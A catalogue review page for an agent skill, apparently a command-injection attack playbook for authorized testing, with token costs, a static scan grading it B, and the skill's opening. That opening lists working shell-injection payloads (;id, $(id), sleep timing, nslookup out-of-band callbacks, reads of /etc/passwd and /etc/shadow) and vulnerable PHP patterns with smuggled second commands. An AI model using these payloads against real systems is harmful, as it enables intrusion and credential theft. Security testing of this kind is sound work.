cmdi-command-injection

cmdi-command-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 36 tokens per session (5,956 once invoked), scanned B, a copy of cmdi-command-injection, MIT.

A command-injection attack playbook for cases where user input may reach a shell, process runner, converter, or import pipeline.

In plain words
What is it for?
Testing shell separators, blind and time-based responses, out-of-band callbacks, and command sinks in authorized assessments.
Why use it?
It helps security testers detect hidden command execution, including cases where the application shows no direct output.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is # Inject: ../../../etc/passwd (path traversal).

Good fit Testing shell separators, blind and time-based responses, out-of-band callbacks, and command sinks in authorized assessments.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/cmdi-command-injection

Made for: Claude Code, Codex.

Wrote this? Show the measurements

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agentmods badge for cmdi-command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cmdi-command-injection/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/cmdi-command-injection)
Your own site
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cmdi-command-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cmdi-command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 36 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,956 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00036 $0.05956
Opus 5 $0.00018 $0.02978
Sonnet 5 $0.00007 $0.01191
Haiku 4.5 $0.00004 $0.00596

Measured 6d ago against content hash 1f01c44613fb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade B, and why

cmdi-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

; cat /etc/shadow # password hashes (if root)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

os.system("curl " + url) # url = "x.com; id"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

os.system("curl " + url) # url = "x.com; id"
Origin

This is a copy

100% identical to cmdi-command-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/curated/cmdi-command-injection/SKILL.md · 688 lines

How it starts

The opening of the file, as written. The whole thing — 688 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

Before going deep, you can first load:

First-pass payload families

Context Start With Backup
generic shell separator ;id &&id
quoted argument ";id;" ';id;'
blind timing ;sleep 5 & timeout /T 5 /NOBREAK
command substitution $(id) `id`
out-of-band DNS ;nslookup token.collab Windows nslookup variant
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

Metacharacter Behavior Example
; Runs second command regardless dir; whoami
| Pipes stdout to second command dir | whoami
|| Run second only if first FAILS dir || whoami
& Run second in background (or sequenced in Windows) dir & whoami
&& Run second only if first SUCCEEDS dir && whoami
$(cmd) Command substitution echo $(whoami)
`cmd` Command substitution (backtick) echo `whoami`
> Redirect stdout to file cmd > /tmp/out
>> Append to file cmd >> /tmp/out
< Read file as stdin cmd < /etc/passwd
%0a Newline character (URL-encoded) cmd%0awhoami
%0d%0a CRLF Multi-command injection

2. COMMON VULNERABLE CODE PATTERNS

PHP

$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"

Read the full file on GitHub · 688 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 688 lines · 36 tokens per session scan B 1f01c44613fb

Subscribe to this mod's changes

cmdi-command-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 36 tokens to every session and 5,956 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). It is 100% identical to cmdi-command-injection, differing in 0 lines, and is treated as a copy.

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